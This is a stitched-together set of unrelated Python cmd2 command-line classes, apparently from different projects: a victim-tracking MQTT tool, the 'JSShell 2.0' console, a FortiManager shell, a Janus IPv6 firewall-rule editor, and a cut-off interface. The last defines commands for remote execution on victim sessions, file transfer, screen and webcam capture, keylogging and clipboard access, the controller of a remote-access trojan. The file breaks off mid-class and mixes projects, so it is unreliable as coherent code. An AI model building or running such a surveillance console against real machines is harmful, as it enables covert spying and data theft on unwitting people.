def __init__(self): """The class initializer""" Cmd.__init__(self, startup_script=config.STARTUP_SCRIPT) self.aliases.update({'exit': 'quit'}) self.hidden_commands.extend( ['load', 'pyscript', 'set', 'shortcuts', 'alias', 'unalias', 'py']) self.current_victim = None self.mqtt_client = None self.current_scan = None self.t = Terminal() self.base_prompt = get_prompt(self) self.prompt = self.base_prompt categorize(( BaseMixin.do_edit, BaseMixin.do_help, BaseMixin.do_history, BaseMixin.do_quit, BaseMixin.do_shell, ), BaseMixin.CMD_CAT_GENERAL)
def __init__(self): # Add dynamic commands before calling cmd2.Cmd's init since it validates command names for command in COMMAND_LIST: # Create command function and add help category to it cmd_func = functools.partial(self.send_text, text=command) cmd2.categorize(cmd_func, CATEGORY) # Add command function to CLI object cmd_func_name = COMMAND_FUNC_PREFIX + command setattr(self, cmd_func_name, cmd_func) # Add help function to CLI object help_func = functools.partial(self.text_help, text=command) help_func_name = HELP_FUNC_PREFIX + command setattr(self, help_func_name, help_func) super().__init__(use_ipython=True)
def __init__(self): Cmd.__init__(self, startup_script=read_config().get('STARTUP_SCRIPT', ''), use_ipython=True) self.aliases.update({'exit': 'quit', 'help': 'help -v'}) self.hidden_commands.extend([ 'load', 'pyscript', 'set', 'shortcuts', 'alias', 'unalias', 'shell', 'macro' ]) self.t = Terminal() self.selected_client = None self.prompt = self.get_prompt() self.allow_cli_args = False # Alerts Thread self._stop_thread = False self._seen_clients = set(Client.unique_client_ids()) self._alert_thread = Thread() # Register the hook functions self.register_preloop_hook(self._alert_thread_preloop_hook) self.register_postloop_hook(self._alert_thread_postloop_hook) # Set the window title self.set_window_title('<< JSShell 2.0 >>') categorize([ BasePlugin.do_help, BasePlugin.do_quit, BasePlugin.do_py, BasePlugin.do_ipy, BasePlugin.do_history, BasePlugin.do_edit ], BasePlugin.CATEGORY_GENERAL) self.register_postparsing_hook( self._refresh_client_data_post_parse_hook)
class FMGShell(cmd2.Cmd): """Sub-class of the cmd2.Cmd.""" def __init__(self): super().__init__(persistent_history_file=FMGSHELL_HISTORY_FILE) # The prompt string - Inherited from cmd2.Cmd self.prompt = "fmgshell> " # Prompt string for multine command - Inherited from cmd2.Cmd self.continuation_prompt = "> " # A flag set to true once self.do_login is used self.logged_in = False # We use the FMG class for any FMG API (and caching?) operations self.fmg = FMG() # We use the FMGFS class for creating a kind of FMG file system self.fmg_fs = FMGFS("root") # The current working directory in the FMG file system self.working_directory = self.fmg_fs # Debug file self.debug_file = "fmgshell.debug" self.debug_fh = open(self.debug_file, "a") # Login to FMG login_parser = argparse.ArgumentParser() login_parser.add_argument("-i", "--ip", required=True, help="FortiManager IP address or FQDN") login_parser.add_argument("-u", "--username", required=True, help="FortiManager user name") login_parser.add_argument("-p", "--password", required=False, help="FortiManager password") login_parser.add_argument("--port", required=False, help="FortiManager TCP port") @cmd2.with_argparser(login_parser) def do_login(self, args): """Login to FortiManager.""" if self.logged_in: self.poutput(f"Already logged in.") return fmg_ip = args.ip fmg_username = args.username fmg_password = args.password fmg_port = args.port if fmg_password == None: fmg_password = getpass.getpass() if fmg_port == None: fmg_port = 443 self.fmg.login(fmg_ip, fmg_username, fmg_password, fmg_port) self.logged_in = True cmd2.categorize(do_login, CMD2_CATEGORY) # Logout from FMG def do_logout(self, args): """Logout from FortiManager.""" if self.logged_in: self.fmg.logout() self.logged_in = False else: self.poutput("Not logged in.") cmd2.categorize(do_logout, CMD2_CATEGORY) # Turn on/off debug mode debug_parser = argparse.ArgumentParser() debug_parser.add_argument("mode", default="show", choices=["on", "off", "show"], help="Turn on debug mode") @cmd2.with_argparser(debug_parser) def do_debug(self, args): """Turn on/off debug mode.""" if args.mode == "on": self.fmg.debug("on") if args.mode == "off": self.fmg.debug("off") if args.mode == "show": mode = self.fmg.debug() self.poutput(f"Debug is {mode}.") cmd2.categorize(do_debug, CMD2_CATEGORY) # "get" command get_parser = argparse.ArgumentParser(prog="get") # "get system" command get_subparser = get_parser.add_subparsers(dest="get_system", required=True) get_system = get_subparser.add_parser("system") # "get system status" command get_system_subparser = get_system.add_subparsers( dest="get_system_status", required=True, help="Get FortiManager system status") get_system_status = get_system_subparser.add_parser("status") get_system_status.add_argument("--refresh", action="store_true") @cmd2.with_argparser(get_parser) def do_get(self, args): """Get information.""" if self.logged_in: # "get system status" if args.get_system_status: response = self.fmg.get_system_status( force_refresh=args.refresh) self.poutput(fmgshell_print_get_system_status(response)) else: self.poutput("You need to login first.") cmd2.categorize(do_get, CMD2_CATEGORY) # Print working directory def do_pwd(self, args): """Print working directory.""" self.poutput(self.working_directory.get_full_path()) cmd2.categorize(do_pwd, CMD2_CATEGORY) # Change working directory def do_cd(self, args): """Change working directory.""" if self.logged_in: dest_dir = str(args) if len(dest_dir) == 0 or dest_dir == "/": self.working_directory = self.fmg_fs else: try: if dest_dir[0] == "/": node = self.fmg_fs.get_node_by_path(dest_dir) else: node = self.working_directory.get_node_by_path( dest_dir) except FMGFS_WrongPath: print("Wrong path.") else: self.working_directory = node else: self.poutput("You need to login first.") cmd2.categorize(do_cd, CMD2_CATEGORY) def complete_cd(self, text, line, begidx, endidx): if self.logged_in: pass else: return [] # We need to work with the absolute path full_path_text = None try: if text[0] == "/": full_path_text = text except IndexError: pass if not full_path_text: path_prefix = self.working_directory.get_full_path() # if wd is "/" if path_prefix == "/": full_path_text = f"{path_prefix}{text}" else: full_path_text = f"{path_prefix}/{text}" matches = fmgshell_get_matching_paths(self, full_path_text) results = cmd2.utils.basic_complete(full_path_text, line, begidx, endidx, matches) # Prevent to append a space when completion is done - Inherited from # cmd2.Cmd if len(results) == 1: self.allow_appended_space = False if True: print(file=self.debug_fh, flush=True) print(f"Result: {results}", file=self.debug_fh, flush=True) print(f"Text: {text}", file=self.debug_fh, flush=True) print(f"Full path text: {text}", file=self.debug_fh, flush=True) print(f"Type(Text)): {type(text)}", file=self.debug_fh, flush=True) print(f"Line: {line}", file=self.debug_fh, flush=True) print(f"Begidx: {begidx}", file=self.debug_fh, flush=True) print(f"Endidx: {endidx}\n", file=self.debug_fh, flush=True) print(file=self.debug_fh, flush=True) return results
class Cli(cmd2.Cmd): """This is the CLI for Janus_IPv6""" intro = Fore.LIGHTRED_EX + INTRO_ART2 + INTRO prompt = Fore.GREEN + PROMPT + Fore.LIGHTWHITE_EX # --------------------------------------------------------------- # # Below are the command parsers, used by the CLI. # # Next to them, the command they are responsible for, is included # # --------------------------------------------------------------- # conn_parser = CommandParsers.get_connection_parser() # connect query_parser = CommandParsers.get_query_parser() # query rule_parser = CommandParsers.get_rule_parser() # rule def __init__(self, host="::1", port=12160, ipv6=True): cmd2.Cmd.__init__( self, persistent_history_file= "/home/soutzis/PycharmProjects/Janus_IPv6/utils/cmd_history.dat", persistent_history_length=1000) self.schema_names = { "logs": "Logs", "flows": "NetworkFlows", "routing": "Routing", "ruleset": "Rulesets" } self.enable_ipv6 = ipv6 self.host = host # equal to '::1' for 'localhost', if ipv6 is enabled self.port = port self.conn = None # Every function that has the "do_" prefix, is a command of the CLI @with_argparser(ACArgumentParser()) def do_quit(self, _: argparse.Namespace) -> bool: """Exit this application and close connection with server if there is one.""" if self.conn is not None: self.conn.close() self._should_quit = True return self._STOP_AND_EXIT @cmd2.with_argparser(conn_parser) def do_connect(self, args): """This command is used to connect to the Janus Repository""" if self.conn is None: try: if args.ipaddress: self.conn = rpyc.connect(args.ipaddress, self.port, ipv6=self.enable_ipv6, config={"allow_all_attrs": True}) elif args.default: self.conn = rpyc.connect(self.host, self.port, ipv6=self.enable_ipv6, config={"allow_all_attrs": True}) else: print( "Please use \'-d\' or \'-ip\' flag, to specify IP address of server." ) print("Use \"$ connect -h\" for more information.") return # Authenticate client if self._validate_admin(): verification_msg = "Connected to " + Fore.CYAN + self.conn.root.get_service_name( ) + Fore.LIGHTWHITE_EX print(verification_msg) # Else, if the authentication was unsuccessful, disconnect from server. else: self.conn.close() self.conn = None except ConnectionRefusedError: print("Server is not responding.") else: print("Already established connection to server.\n" "Re-run the application to connect to a different service.") @cmd2.with_argparser(rule_parser) def do_rule(self, args): """ This method is used to create, modify or just view the 'blacklist' ruleset of Janus """ if self.conn is None: print(NOT_CONNECTED_ERROR) return else: server_api = self.conn.root ruleset = server_api.get_ruleset() if args.add: try: new_rule = self._add_new_rule() # Length should be at least or larger than 3 (action, description, priority are mandatory, but useless) if len(new_rule) >= 3: ruleset['blacklist'].append(new_rule) server_api.update_ruleset(ruleset) else: print( "There was not sufficient information to add this rule." ) except KeyboardInterrupt: print("\nOperation aborted") elif args.modify: self._show_rule_descriptions(ruleset) selection_num = self._select_rule( "\nEnter the # of the rule you would like to modify.", ruleset) rule = ruleset['blacklist'][selection_num] mod_rule = self._modify_rule(rule) ruleset['blacklist'][selection_num] = mod_rule server_api.update_ruleset(ruleset) elif args.show: self._show_rule_descriptions(ruleset) selection_num = self._select_rule( "\nEnter the # of the rule you would like to view.", ruleset) self._show_rule(ruleset['blacklist'][selection_num]) @cmd2.with_argparser(query_parser) def do_query(self, args): """Used to query the repository""" if self.conn is None: print(NOT_CONNECTED_ERROR) return else: server_api = self.conn.root if args.subparser == 'custom': result = server_api.custom_query(args.db, args.query) result = self._transform_datetime_in_list(result) # Formulate result as tabular data, first row is attribute names (column names) tabular_result = tabulate(result, headers="firstrow", tablefmt="psql") print(tabular_result) elif args.subparser == 'select': # Here, args.attributes is a list, containing the attributes specified through the CLI result = server_api.select(args.db, args.table, args.attributes) result = self._transform_datetime_in_list(result) tabular_result = tabulate(result, headers=args.attributes, tablefmt="psql") print(tabular_result) elif args.subparser == 'show': # This will be the object printed to the client tabular_result = "" if args.show_tables: result = server_api.show_tables( args.db) # Get tables of specified schema result = self._transform_datetime_in_list(result) attrs = [self.schema_names[args.db]] tabular_result = tabulate(result, headers=attrs, tablefmt="psql") elif args.describe: result = server_api.describe_table(args.db, args.describe) result = self._transform_datetime_in_list(result) attrs = ['Field', 'Type', 'Null', 'Key', 'Default', 'Extra'] tabular_result = tabulate(result, headers=attrs, tablefmt="psql") elif args.table_attributes: result = server_api.table_attributes(args.db, args.table_attributes) result = self._transform_datetime_in_list(result) attrs = [args.table_attributes] tabular_result = tabulate(result, headers=attrs, tablefmt="psql") print(tabular_result) @with_argparser(ACArgumentParser()) def do_disconnect(self, _: argparse.Namespace): """Call this to disconnect from the repository""" if self.conn is None: print("You are not connected to the repository") else: self.conn.close() self.conn = None print("Disconnected.") @with_argparser(ACArgumentParser()) def do_monitor(self, _: argparse.Namespace): """ This command will initiate a monitoring state, where the client will receive alerts about events from the controller """ if self.conn is None: print(NOT_CONNECTED_ERROR) return else: server_api = self.conn.root db = 'logs' table = 'log_records' dtime = datetime.now() log_id = None # Get the attribute names, by querying the server for them attrs = server_api.table_attributes(db, table) attrs = [item for sublist in attrs for item in sublist] # flatten lists into 1 list # Make all attribute names BOLD, so that it looks cute in the CLI for i in range(len(attrs)): attrs[i] = '\033[1m' + attrs[i] + '\033[0m' while True: try: result = server_api.monitor(dtime, log_id) if result is None: continue else: record = self._transform_datetime_in_list(list(result[0])) log_id = record[0] tabular_data = [record] print( tabulate(tabular_data, headers=attrs, tablefmt="psql", numalign="center", stralign="center")) # The only way for user to exit Active Monitoring, is to use the keyboard shortcut: "CTRL + C" # Thus, when a 'Keyboard Interrupt' is detected, inform the server that it should turn-off this mode. except KeyboardInterrupt: print("\rActive Monitoring Mode exited!") return def _validate_admin(self) -> bool: """ This function will contact the server to log the administrator in. :return: True if the user entered the right password, or false if the user entered the wrong password 3 times. """ max_attempts = 3 incorrect_attempts = 0 is_admin = False while incorrect_attempts < max_attempts and is_admin is False: # write password to stream, instead of stdout (hide from UI) password = getpass() # contact server to authenticate is_admin = self.conn.root.authenticate_admin(password) if is_admin: return True else: incorrect_attempts += 1 if incorrect_attempts < max_attempts: print("Sorry, try again.") print("{} incorrect attempts.".format(incorrect_attempts)) return False @staticmethod def _select_rule(instruction, ruleset): """ :param instruction: The instruction to print to terminal :param ruleset: The ruleset to choose a rule from :return: An integer that characterizes the selection index """ print(instruction) selection_num = None while selection_num is None: try: selection_num = int(input('#: ')) if selection_num not in range(len(ruleset['blacklist'])): selection_num = None print( "Selection needs to be one of the indexes, shown in the above table." ) except ValueError: selection_num = None print("You need to enter a numerical value.\n") return selection_num @staticmethod def _show_rule(rule: dict): """ Displays a given rule to the terminal :param rule: The rule to display """ description = rule.pop('description') print("\nRULE: " + description) attrs = list(rule.keys()) data = [list(rule.values())] print(tabulate(data, headers=attrs, tablefmt='github')) @staticmethod def _show_rule_descriptions(ruleset): """ This method will display all the rules along with their indices, in a given ruleset. :param ruleset: The ruleset to view the rules of """ index = 0 attrs = ['#', 'Description'] data = [] for rule in ruleset['blacklist']: row = [index, rule['description']] data.append(row) index += 1 print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) @staticmethod def _transform_datetime_in_list(tabular_data): """ This function is necessary, to convert datetime objects, into their string representation, so that they can be printed to the terminal with the "tabulate()" module. :param tabular_data: Is the data returned from the database query. The data could be a list, a list of lists, a tuple of tuples, a list of tuples, etc. :return: The data that was passed as a parameter, but with any datetime elements converted to a string. """ # Conditional checks are to determine if this is a single record, or a collection of records. if any((isinstance(i, list) or isinstance(i, tuple)) for i in tabular_data): for x in range(len(tabular_data)): # convert any datetime objects to string, to avoid an unexpected AttributeError (in tabulate.py) for i in range(len(tabular_data[x])): if isinstance(tabular_data[x][i], datetime): tabular_data[x][i] = tabular_data[x][i].strftime( "%d/%m/%Y, %H:%M:%S") else: # convert any datetime objects to string, to avoid an unexpected AttributeError (in tabulate.py) for i in range(len(tabular_data)): if isinstance(tabular_data[i], datetime): tabular_data[i] = tabular_data[i].strftime( "%d/%m/%Y, %H:%M:%S") return tabular_data def _get_binary_input(self, question: str) -> bool: """ :param question: The question to display in the terminal :return: The user's answer (YES or NO) """ print(question) answer = input('Answer [Y/N]: ') if answer.lower() == "y": return True elif answer.lower() == "n": return False else: print( "Please use 'Y' for 'YES' and 'N' for 'NO'. The input is not case-sensitive." ) return self._get_binary_input(question) def _modify_rule(self, rule): """ :param rule: The rule to modify :return: The modified rule """ min_priority = 1 max_priority = 65535 has_ethertype = False ip_proto = None print( "Follow the instructions to modify the selected rule.\nTo quit, press \"CTRL + C\"." ) # ADD DESCRIPTION if self._get_binary_input("\nModify the rule description?"): description = input('Description: ') rule['description'] = description # ADD RULE PRIORITY if self._get_binary_input("\nModify the rule priority?"): priority = None while priority is None and priority not in range( min_priority, max_priority + 1): print("The priority has to be in the range 1-65535.") try: priority = int(input('Priority: ')) except ValueError: priority = None print( "You need to enter a numerical value between 1-65535.\n" ) rule['priority'] = priority # ADD SWITCH INPUT PORT if 'in_port' in rule: if self._get_binary_input("\nModify the incoming port number?"): in_port = None while in_port is None: try: in_port = int(input('In_port: ')) except ValueError: in_port = None print("You need to enter a numerical value.\n") rule['in_port'] = in_port else: if self._get_binary_input("\nAdd the incoming port number?"): in_port = None while in_port is None: try: in_port = int(input('In_port: ')) except ValueError: in_port = None print("You need to enter a numerical value.\n") rule['in_port'] = in_port # ADD MAC SOURCE if 'eth_src' in rule: if self._get_binary_input("\nModify source MAC address?"): eth_src = input('Source MAC address: ') rule['eth_src'] = eth_src else: if self._get_binary_input("\nAdd source MAC address?"): eth_src = input('Source MAC address: ') rule['eth_src'] = eth_src # ADD MAC DEST if 'eth_dst' in rule: if self._get_binary_input("\nModify destination MAC address?"): eth_dst = input('Destination MAC address: ') rule['eth_dst'] = eth_dst else: if self._get_binary_input("\nAdd destination MAC address?"): eth_dst = input('Destination MAC address: ') rule['eth_dst'] = eth_dst # ADD ETHER_TYPE if 'eth_type' in rule: has_ethertype = True if self._get_binary_input("\nModify ethernet packet type?"): has_ethertype = True attrs = ['ARP', 'IPv4', 'IPv6'] data = [[2054, 2048, 34525]] print("Use one of the specified values below\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) eth_type = None while eth_type is None: try: eth_type = int(input('Ethertype: ')) if eth_type not in data[0]: eth_type = None print( "Ethertype needs to be one of the specified values in the above table." ) except ValueError: eth_type = None print("You need to enter a numerical value.\n") rule['eth_type'] = eth_type else: if self._get_binary_input( "\nAdd ethernet packet type?\n" "NOTE: This is required, in order to specify network or transport layer fields." ): has_ethertype = True attrs = ['ARP', 'IPv4', 'IPv6'] data = [[2054, 2048, 34525]] print("Use one of the specified values below\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) eth_type = None while eth_type is None: try: eth_type = int(input('Ethertype: ')) if eth_type not in data[0]: eth_type = None print( "Ethertype needs to be one of the specified values in the above table." ) except ValueError: eth_type = None print("You need to enter a numerical value.\n") rule['eth_type'] = eth_type # PROMPT USER TO ADD IP ADDRESS, ONLY IF ETHERTYPE WAS SPECIFIED if has_ethertype: # ADD SOURCE IPv6 if 'ipv6_src' in rule: if self._get_binary_input( "\nModify existing source IP address?"): ipv6_src = input('Source IP address: ') rule['ipv6_src'] = ipv6_src else: if self._get_binary_input("\nAdd source IP address?"): ipv6_src = input('Source IP address: ') rule['ipv6_src'] = ipv6_src # ADD DESTINATION IPv6 if 'ipv6_dst' in rule: if self._get_binary_input("\nModify destination IP address?"): ipv6_dst = input('Destination IP address: ') rule['ipv6_dst'] = ipv6_dst else: if self._get_binary_input("\nAdd destination IP address?"): ipv6_dst = input('Destination IP address: ') rule['ipv6_dst'] = ipv6_dst # ADD TRANSPORT LAYER PROTOCOL if 'ip_proto' in rule: ip_proto = rule['ip_proto'] if self._get_binary_input( "\nChange transport-layer protocol?"): ip_proto = None # Change to null, so that the user can enter a new value attrs = ['TCP', 'UDP', 'ICMPv6', 'SCTP', 'NONE'] data = [[6, 17, 58, 132, 59]] print("Use one of the specified values below\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) while ip_proto is None: try: ip_proto = int(input('Protocol: ')) if ip_proto not in data[0]: ip_proto = None print( "Protocol needs to be one of the specified values in the above table." ) except ValueError: ip_proto = None print("You need to enter a numerical value.\n") rule['ip_proto'] = ip_proto else: if self._get_binary_input( "\nSpecify transport-layer protocol?\n" "NOTE: This is required, in order to specify transport layer fields." ): attrs = ['TCP', 'UDP', 'ICMPv6', 'SCTP', 'NONE'] data = [[6, 17, 58, 132, 59]] print("Use one of the specified values below\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) while ip_proto is None: try: ip_proto = int(input('Protocol: ')) if ip_proto not in data[0]: ip_proto = None print( "Protocol needs to be one of the specified values in the above table." ) except ValueError: ip_proto = None print("You need to enter a numerical value.\n") rule['ip_proto'] = ip_proto # TCP if ip_proto == 6: # TCP SOURCE PORT if self._get_binary_input("\nEdit source port number?"): tcp_src = None while tcp_src is None: try: tcp_src = int(input('Source port: ')) if tcp_src not in range(1, 65536): tcp_src = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: tcp_src = None print("You need to enter a numerical value.\n") rule['tcp_src'] = tcp_src # TCP DESTINATION PORT if self._get_binary_input("\nEdit destination port number?"): tcp_dst = None while tcp_dst is None: try: tcp_dst = int(input('Destination port: ')) if tcp_dst not in range(1, 65536): tcp_dst = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: tcp_dst = None print("You need to enter a numerical value.\n") rule['tcp_dst'] = tcp_dst # UDP elif ip_proto == 17: # UDP SOURCE PORT if self._get_binary_input("\nEdit source port number?"): udp_src = None while udp_src is None: try: udp_src = int(input('Source port: ')) if udp_src not in range(1, 65536): udp_src = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: udp_src = None print("You need to enter a numerical value.\n") rule['udp_src'] = udp_src # UDP DESTINATION PORT if self._get_binary_input("\nEdit destination port number?"): udp_dst = None while udp_dst is None: try: udp_dst = int(input('Destination port: ')) if udp_dst not in range(1, 65536): udp_dst = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: udp_dst = None print("You need to enter a numerical value.\n") rule['udp_dst'] = udp_dst # ICMPv6 elif ip_proto == 58: # TYPE if self._get_binary_input("\nEdit ICMPv6 type?"): attrs = ['Type Description', 'Type Value'] data = [['Destination Unreachable', 1], ['Packet Too Big', 2], ['Time Exceeded', 3], ['Parameter Problem', 4], ['Echo Request', 128], ['Echo Reply', 129], ['Router Solicitation', 133], ['Router Advertisement', 134], ['Neighbor Solicitation', 135], ['Neighbor Advertisement', 136], ['Redirect', 137]] print( "Use one of the specified values below, for ICMPv6 type\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) icmpv6_type = None while icmpv6_type is None: try: icmpv6_type = int(input('Type: ')) if icmpv6_type not in [ item for sublist in data for item in sublist ]: icmpv6_type = None print( "Type needs to be one of the valid types shown in the above table." ) except ValueError: icmpv6_type = None print("You need to enter a numerical value.\n") rule['icmpv6_type'] = icmpv6_type # CODE if self._get_binary_input("\nEdit ICMPv6 code?"): icmpv6_code = None while icmpv6_code is None: try: icmpv6_code = int(input('Code: ')) except ValueError: icmpv6_code = None print("You need to enter a numerical value.\n") rule['icmpv6_code'] = icmpv6_code # Finally, return the new rule (as a dict) return rule def _add_new_rule(self): """ This method will guide the user, to create a new blocking rule for Janus. :return: A new rule to be added to the blacklist ruleset of the repository """ new_rule = {"action": "drop"} min_priority = 1 max_priority = 65535 has_ethertype = False ip_proto = None print( "Follow the instructions to add a new 'blocking' rule.\nTo quit, press \"CTRL + C\"." ) # ADD DESCRIPTION print( "\nAdd a description for uniquely identifying this rule and press \"Enter\"." ) description = input('Description: ') new_rule['description'] = description # ADD RULE PRIORITY print("\nAdd priority of this rule, over the rest of the rules.") priority = None while priority is None and priority not in range( min_priority, max_priority + 1): print("The priority has to be in the range 1-65535.") try: priority = int(input('Priority: ')) except ValueError: priority = None print("You need to enter a numerical value between 1-65535.\n") new_rule['priority'] = priority # ADD SWITCH INPUT PORT if self._get_binary_input("\nAdd the incoming port number?"): in_port = None while in_port is None: try: in_port = int(input('In_port: ')) except ValueError: in_port = None print("You need to enter a numerical value.\n") new_rule['in_port'] = in_port # ADD MAC SOURCE if self._get_binary_input("\nAdd source MAC address?"): eth_src = input('Source MAC address: ') new_rule['eth_src'] = eth_src # ADD MAC DEST if self._get_binary_input("\nAdd destination MAC address?"): eth_dst = input('Destination MAC address: ') new_rule['eth_dst'] = eth_dst # ADD ETHER_TYPE if self._get_binary_input( "\nAdd ethernet packet type?\n" "NOTE: This is required, in order to specify network or transport layer fields." ): has_ethertype = True attrs = ['ARP', 'IPv4', 'IPv6'] data = [[2054, 2048, 34525]] print("Use one of the specified values below\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) eth_type = None while eth_type is None: try: eth_type = int(input('Ethertype: ')) if eth_type not in data[0]: eth_type = None print( "Ethertype needs to be one of the specified values in the above table." ) except ValueError: eth_type = None print("You need to enter a numerical value.\n") new_rule['eth_type'] = eth_type # PROMPT USER TO ADD IP ADDRESS, ONLY IF ETHERTYPE WAS SPECIFIED if has_ethertype: if self._get_binary_input("\nAdd source IP address?"): ipv6_src = input('Source IP address: ') new_rule['ipv6_src'] = ipv6_src if self._get_binary_input("\nAdd destination IP address?"): ipv6_dst = input('Destination IP address: ') new_rule['ipv6_dst'] = ipv6_dst if self._get_binary_input( "\nSpecify transport-layer protocol?\n" "NOTE: This is required, in order to specify transport layer fields." ): attrs = ['TCP', 'UDP', 'ICMPv6', 'SCTP', 'NONE'] data = [[6, 17, 58, 132, 59]] print("Use one of the specified values below\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) while ip_proto is None: try: ip_proto = int(input('Protocol: ')) if ip_proto not in data[0]: ip_proto = None print( "Protocol needs to be one of the specified values in the above table." ) except ValueError: ip_proto = None print("You need to enter a numerical value.\n") new_rule['ip_proto'] = ip_proto # TCP if ip_proto == 6: # TCP SOURCE PORT if self._get_binary_input("\nAdd source port number?"): tcp_src = None while tcp_src is None: try: tcp_src = int(input('Source port: ')) if tcp_src not in range(1, 65536): tcp_src = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: tcp_src = None print("You need to enter a numerical value.\n") new_rule['tcp_src'] = tcp_src # TCP DESTINATION PORT if self._get_binary_input("\nAdd destination port number?"): tcp_dst = None while tcp_dst is None: try: tcp_dst = int(input('Destination port: ')) if tcp_dst not in range(1, 65536): tcp_dst = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: tcp_dst = None print("You need to enter a numerical value.\n") new_rule['tcp_dst'] = tcp_dst # UDP elif ip_proto == 17: # UDP SOURCE PORT if self._get_binary_input("\nAdd source port number?"): udp_src = None while udp_src is None: try: udp_src = int(input('Source port: ')) if udp_src not in range(1, 65536): udp_src = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: udp_src = None print("You need to enter a numerical value.\n") new_rule['udp_src'] = udp_src # UDP DESTINATION PORT if self._get_binary_input("\nAdd destination port number?"): udp_dst = None while udp_dst is None: try: udp_dst = int(input('Destination port: ')) if udp_dst not in range(1, 65536): udp_dst = None print( "Port needs to be in the range of valid port numbers (1-65535)." ) except ValueError: udp_dst = None print("You need to enter a numerical value.\n") new_rule['udp_dst'] = udp_dst # ICMPv6 elif ip_proto == 58: # TYPE if self._get_binary_input("\nSpecify an ICMPv6 type?"): attrs = ['Type Description', 'Type Value'] data = [['Destination Unreachable', 1], ['Packet Too Big', 2], ['Time Exceeded', 3], ['Parameter Problem', 4], ['Echo Request', 128], ['Echo Reply', 129], ['Router Solicitation', 133], ['Router Advertisement', 134], ['Neighbor Solicitation', 135], ['Neighbor Advertisement', 136], ['Redirect', 137]] print( "Use one of the specified values below, for ICMPv6 type\n") print(tabulate(data, headers=attrs, tablefmt='fancy_grid')) icmpv6_type = None while icmpv6_type is None: try: icmpv6_type = int(input('Type: ')) if icmpv6_type not in [ item for sublist in data for item in sublist ]: icmpv6_type = None print( "Type needs to be one of the valid types shown in the above table." ) except ValueError: icmpv6_type = None print("You need to enter a numerical value.\n") new_rule['icmpv6_type'] = icmpv6_type # CODE if self._get_binary_input("\nSpecify an ICMPv6 code?"): icmpv6_code = None while icmpv6_code is None: try: icmpv6_code = int(input('Code: ')) except ValueError: icmpv6_code = None print("You need to enter a numerical value.\n") new_rule['icmpv6_code'] = icmpv6_code # Finally, return the new rule (as a dict) return new_rule # ============================= # # Sort CLI commands by category # # ============================= # categorize(do_connect, CMD_CATEGORY_CONNECTION) categorize(do_disconnect, CMD_CATEGORY_CONNECTION) categorize(do_query, CMD_CATEGORY_DATABASE) categorize(do_monitor, CMD_CATEGORY_MONITOR) categorize(do_rule, CMD_CATEGORY_RULES)
class UserInterface(cmd2.Cmd): exit_parser = argparse.ArgumentParser(prog="exit") list_parser = argparse.ArgumentParser(prog="list") list_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") tag_parser = argparse.ArgumentParser(prog="tag") tag_parser.add_argument("-t", "--tag", required=True, type=str, help="value to change the tag to") tag_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") close_parser = argparse.ArgumentParser(prog="close") close_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") group_parser = argparse.ArgumentParser(prog="group") mode_group = group_parser.add_mutually_exclusive_group(required=True) mode_group.add_argument("-a", "--add", nargs="+", help="sessions to add to groups", default=[]) mode_group.add_argument("-r", "--rm", nargs="+", help="sessions to rm from groups", default=[]) group_parser.add_argument("-g", "--groups", nargs="+", required=True, help="groups to add/rm the sessions to/from") exe_parser = argparse.ArgumentParser(prog="exe") exe_parser.add_argument("-e", "--exe", required=True, type=str, help="command to execute") exe_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") down_parser = argparse.ArgumentParser(prog="down") down_parser.add_argument("-r", "--read", required=True, type=str, help="file to read data from") down_parser.add_argument("-w", "--write", required=True, type=str, help="file to write data to") down_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") up_parser = argparse.ArgumentParser(prog="up") up_parser.add_argument("-r", "--read", required=True, type=str, help="file to read data from") up_parser.add_argument("-w", "--write", required=True, type=str, help="file to write data to") up_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") screen_parser = argparse.ArgumentParser(prog="screen") screen_parser.add_argument("-m", "--monitor", default=-1, type=int, choices=range(-1, 6), help="monitor to capture (-1 for all)") screen_parser.add_argument("-w", "--write", required=True, type=str, help="file to write the picture in") screen_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") zip_parser = argparse.ArgumentParser(prog="zip") zip_parser.add_argument("-c", "--compression", default=1, type=int, help="zip compression level", choices=range(10)) zip_parser.add_argument("-r", "--read", required=True, type=str, help="file or folder to read") zip_parser.add_argument("-w", "--write", required=True, type=str, help="file to write the zipfile in") zip_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") cam_parser = argparse.ArgumentParser(prog="cam") cam_parser.add_argument("-p", "--port", required=True, type=int, help="camera port (usually 0)") cam_parser.add_argument("-w", "--write", required=True, type=str, help="file to write the image in") cam_parser.add_argument("-s", "--sessions", nargs="+", required=True, help="sessions indices or groups") log_keys_parser = argparse.ArgumentParser(prog="logger") log_keys_parser.add_argument("-a", "--action", required=True, type=str, choices=["start", "stop", "status"]) log_keys_parser.add_argument("-f", "--file", default="log.txt", type=str, help="file to store logs in") log_keys_parser.add_argument("-s", "--sessions", required=True, nargs="+", help="sessions indices or groups") clip_parser = argparse.ArgumentParser(prog="clip") clip_parser.add_argument("-c", "--content", default="", type=str, help="content to store to clipboard if provided") clip_parser.add_argument("-s", "--sessions", required=True, nargs="+", help="sessions indices or groups") block_parser = argparse.ArgumentParser(prog="block") block_parser.add_argument("-a", "--action", required=True, type=str, choices=["add", "rm", "list"]) block_parser.add_argument("-i", "--ips", nargs="+", type=str, help="addresses to block") 